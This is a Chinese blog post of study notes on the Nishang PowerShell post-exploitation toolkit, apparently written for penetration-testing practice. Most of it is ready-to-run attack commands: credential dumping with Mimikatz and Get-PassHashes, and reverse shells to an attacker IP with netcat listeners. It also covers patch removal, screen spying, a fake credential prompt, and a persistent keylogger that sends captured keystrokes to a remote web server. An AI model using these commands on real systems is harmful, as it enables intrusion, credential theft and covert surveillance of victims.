Nishang 学习笔记

2022-03-11 14:11:13 浏览数 (1)

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

1. 介绍

Nishang是一款针对PowerShell的后渗透工具。

下载地址:

https://github.com/samratashok/nishang

以下内容为学习资料整理,参考链接如下:

代码语言:javascript复制
 https://blog.csdn.net/weixin_40412037/article/details/115510209
 https://zhuanlan.zhihu.com/p/27723026
 https://pingmaoer.github.io/2020/04/08/PowerShell-Nishang/

2. 结构

上面三图为参考图!

3. 模块加载

在官网文档中,启用的操作是这样的:

Import-Module .nishang.psm1

运行的时候提示 系统禁止运行脚本

这时候执行:

set-ExecutionPolicy RemoteSigned

提示需要以管理员的权限来运行powershell,那就用管理员权限启动:

初次导入,会有红色字的警告提示,如上图所示,是因为windows官方做的一个安全策略导致,再次使用 set-ExecutionPolicy RemoteSigned然后再次导入

Import-Module .nishang.psm1

忽略警告即可!

4. 使用

4.1 获取所有模块

Get-Command -Module nishang

查看nishang的所有模块:

4.2 获取计算机信息

Get-Information:获取常规计算机信息

4.3 检查虚拟机

Check-VN 检测是否是虚拟机版本:

4.4 端口扫描

Invoke-PortScan -StartAddress 10.211.55.0 -EndAddress 10.211.55.255 -ResolveHost -ScanPort

4.5 获取计算机密码

Invoke-Mimikatz

4.6 反弹shell

代码语言:javascript复制
Invoke-PowershellTcp -Reverse -IPAddress x.x.x.x -Port xxxx
nc -lvvp xxxx
反弹tcp协议

Invoke-Powershelludp -Reverse -IPAddress x.x.x.x -port xxxx
nc -lup xxxx
反弹udp协议

Invoke-PoshRatHttp -IPAddress x.x.x.x -Port xxxx
反弹http协议

Invoke-PoshRatHttps -IPAddress x.x.x.x -Port xxxx
反弹https协议

kali上进行如下监听: nc -lvvp 6666

反弹shellkali上:

Invoke-PowerShellTcp -Reverse -IPAddress 10.211.55.23 -Port 6666

反弹成功!

4.7 删除补丁

systeminfo查看所有的信息

Remove-Update KB4580346 删除某一个补丁

4.8 屏幕监控

代码语言:javascript复制
靶机:Show-TargetScreen -Reverse -IPAddress x.x.x.x -Port xxxx
攻击机:netcat -nlvp xxxx | netcat -nlvp yyyy
URL访问攻击机 IP: yyyy

kali上执行: netcat -nlvp 6666 | netcat -nlvp 7788 将接收的6666的流量转发到7788上去

在靶机上执行:

Show-TargetScreen -Reverse -IPAddress 10.211.55.23 -Port 6666

此时访问kali上的7788端口:

4.9 强迫用户输入密码凭据

Invoke-CredentialsPhish

关闭的时候是关不掉的,只能输入密码,而且如果输入了错误的密码,还会弹出来,当然可以通过任务管理器关掉这个进程。我自己的电脑密码记不得了,所以只能强制关掉进程。

4.10 键盘记录

cd .Gather 切换目录

Get-Help .Keylogger.ps1 -full

代码语言:javascript复制
 PS >.Keylogger.ps1           #使用这种方式运行,键盘记录会保存在当前用户Temp目录下的Key文件中
 
 PS >.Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis   #-CheckURL参数会检查所给出的网页之中是否包含    -MagicString后的字符串,如果存在就停止使用记录
 
 PS >.Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php    #将记录指定发送给一个可以记录Post请求的web服务器
 
 PS >.Keylogger.ps1 -persist     # 实现持久化记录(重启后依然进行记录)

.Keylogger.ps1 这里面需要配置下才可以

然后结果会记录在Temp目录下的key.log文件:

Parse_Keys "C:UserscrowAppDataLocalTempkey.log" "C:UserscrowAppDataLocalTemp00.txt" 将文件进行解析

4.11 获取hash

Get-PassHashes

5. 总结

Nishang是基于PowerShell的后渗透测试专用工具,这里面有非常多的命令可以调用,虽然大部分情况存在av的情况下无法直接执行PowerShell,但是代码的思路值得我们学习!本文只列举了部分功能,全部功能各位师傅可以参考作者的说明文档!

0 人点赞